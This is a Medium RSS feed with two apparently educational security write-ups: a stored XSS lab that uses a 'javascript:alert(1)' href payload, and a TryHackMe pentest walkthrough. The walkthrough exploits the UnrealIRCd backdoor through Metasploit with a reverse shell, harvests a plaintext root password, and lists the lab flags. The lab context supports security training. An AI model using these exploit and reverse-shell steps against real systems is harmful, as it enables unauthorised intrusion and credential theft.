<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Roaa Ramadan on Medium]]></title>
        <description><![CDATA[Stories by Roaa Ramadan on Medium]]></description>
        <link>https://medium.com/@roramadan33?source=rss-6e4c29bf645f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Roaa Ramadan on Medium</title>
            <link>https://medium.com/@roramadan33?source=rss-6e4c29bf645f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 23:19:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@roramadan33/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded]]></title>
            <link>https://medium.com/@roramadan33/lab-stored-xss-into-anchor-href-attribute-with-double-quotes-html-encoded-49a25f27b067?source=rss-6e4c29bf645f------2</link>
            <guid isPermaLink="false">https://medium.com/p/49a25f27b067</guid>
            <dc:creator><![CDATA[Roaa Ramadan]]></dc:creator>
            <pubDate>Sun, 06 Sep 2026 07:41:56 GMT</pubDate>
            <atom:updated>2026-09-06T07:41:56.069Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bCWEsGz5pCw3WuxZOP25XA.png" /></figure><p>Solution:</p><ol><li>Added a random string in the <strong>Website</strong> field and intercepted the request with Burp Suite.</li><li>Sent the request to <strong>Repeater</strong> and observed that the input was reflected inside the author’s &lt;a href&gt; attribute.</li><li>Replaced the Website value with:</li></ol><pre>javascript:alert(1)</pre><p>4. Submitted the comment and clicked the <strong>author’s name</strong>.</p><p>5. The alert(1) executed successfully, solving the lab.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49a25f27b067" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Guided Pentest: Infrastructure Walkthrough]]></title>
            <link>https://medium.com/@roramadan33/guided-pentest-infrastructure-walkthrough-a181d69b4c1e?source=rss-6e4c29bf645f------2</link>
            <guid isPermaLink="false">https://medium.com/p/a181d69b4c1e</guid>
            <dc:creator><![CDATA[Roaa Ramadan]]></dc:creator>
            <pubDate>Tue, 01 Sep 2026 20:22:10 GMT</pubDate>
            <atom:updated>2026-09-01T20:22:10.140Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UrRudlLUjP3CiCILWESLGg.png" /></figure><p><a href="https://tryhackme.com/room/guidedpentestinfrastructure">Room Link: Guided Pentest: Infrastructure</a></p><h3><strong><em>Task 1: Introduction</em></strong></h3><p>This room covers the standard penetration testing lifecycle against a target machine: enumeration, vulnerability analysis, exploitation, post-exploitation privilege escalation, and reporting.</p><h3><strong><em>Task 2: Enumeration</em></strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*P-svVuvnc_b7Pb24.png" /></figure><p>Start by scanning the target machine with Nmap to find open ports and running service versions.</p><pre>nmap -sV -sC -oN scan.txt 10.129.161.84</pre><ul><li>-sV: Identifies running service versions.</li><li>-sC: Runs default enumeration scripts.</li><li>-oN scan.txt: Saves the output locally for reference.</li></ul><p>Looking at the output, port <strong>6667</strong> is open and running an UnrealIRCd service alongside standard SSH on port 22.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*8HReKFpQR05i5TDT.png" /></figure><blockquote><strong><em>Question:</em></strong><em> What port other than 22 is open on the target host?</em></blockquote><blockquote><strong><em>Answer:</em></strong><em> </em><em>6667</em></blockquote><h3><em>Task 3: Vulnerability Analysis</em></h3><p>With UnrealIRCd identified on port 6667, the next step is checking whether this specific software has any known public exploits.</p><pre>searchsploit UnrealIRC</pre><p>SearchSploit returns multiple results from Exploit-DB, including a well-known backdoor command execution script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*7Zzwf1IBV1T9Qx3D.png" /></figure><blockquote><strong><em>Question:</em></strong><em> Use SearchSploit to find an exploit for your target UnrealIRC version. What is the path value for the Remote Downloader/Execute script?</em></blockquote><blockquote><strong><em>Answer:</em></strong><em> </em><em>linux/remote/13853.pl</em></blockquote><h3><em>Task 4: Initial Access</em></h3><p>Metasploit already has a module for the UnrealIRCd backdoor, making it easy to pop an initial shell.</p><p>First, launch Metasploit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*eC8LHFEpjh1YxMEL.png" /></figure><pre>msfconsole -q</pre><blockquote><em>Search for the module and select it:</em></blockquote><pre>search unrealircd<br>use exploit/unix/irc/unreal_ircd_3281_backdoor</pre><blockquote>Set the target IP, payload, and your attacker VPN IP/port:</blockquote><pre>set RHOSTS 10.128.132.183<br>set payload cmd/unix/reverse<br>set LHOST 10.128.116.72<br>set LPORT 443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*6vXpmW4QZYvD1kTm.png" /></figure><blockquote>Run the exploit:</blockquote><pre>exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*Xpr2sBGclGAk4VHh.png" /></figure><blockquote>The reverse shell catches immediately. From here, grab the user flag from the webmaster home directory:</blockquote><pre>cat /home/webmaster/flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*9KClC9F-koiq3ZY5.png" /></figure><blockquote><strong>Question:</strong> What is the user-level flag?</blockquote><blockquote><strong>Answer:</strong> THM{Pwned-Y0ur-First-Machine}</blockquote><h3><em>Task 5: Post Exploitation</em></h3><p>Now that we have a low-privileged shell, the next goal is escalating privileges to root.</p><p>A quick manual check for sensitive files or hardcoded credentials across the filesystem:</p><pre>find / -name &quot;password*&quot; 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*3n9cn0y5zbRLLW39.png" /></figure><blockquote>The output reveals a plaintext credential file located at /etc/password.txt. Reading it:</blockquote><pre>cat /etc/password.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/0*6cIhN4rackd1P8wr.png" /></figure><blockquote>It contains the root password: PDLrCVl1pLD91U0JMmCz.</blockquote><p>Since the current reverse shell isn’t a full interactive TTY to run su, we can use SSH on port 22 directly from the attacker machine:</p><pre>ssh root@10.128.132.183</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*v50rX37It_0-pElG.png" /></figure><p>Paste in the discovered password, and we get full root access. Grab the final flag:</p><pre>cat /root/flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*xeLGJbGIBvJHFVcV.png" /></figure><blockquote><strong>Question:</strong> What is the root flag?</blockquote><blockquote><strong>Answer:</strong> THM{Escalat1on-D0ne}</blockquote><h3><em>Task 6: Reporting</em></h3><p>A pentest isn’t finished until the documentation is done. Reports need to cater to both business leaders and technical teams:</p><ul><li><strong>Executive Summary:</strong> High-level overview for C-level and management without deep technical jargon.</li><li><strong>Technical Summary:</strong> Focuses on vulnerabilities, severity levels, and remediation priority for engineering managers.</li><li><strong>Detailed Findings:</strong> Step-by-step proofs of concept, CVSS ratings, and fix recommendations for developers and sysadmins.</li></ul><blockquote><strong><em>Question:</em></strong><em> Which report section is aimed at engineering managers?</em></blockquote><blockquote><strong><em>Answer:</em></strong><em> </em><em>Technical Summary</em></blockquote><h3><em>Task 7: Conclusion</em></h3><p>This room offers a straightforward look at how the penetration testing phases link together in a real engagement: discovering an exposed service via Nmap, finding a known CVE, leveraging Metasploit for initial access, and locating cleartext credentials on the host to compromise root.</p><blockquote>Security is a continuous learning journey. Thanks for reading, and feel free to connect or share your thoughts!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a181d69b4c1e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>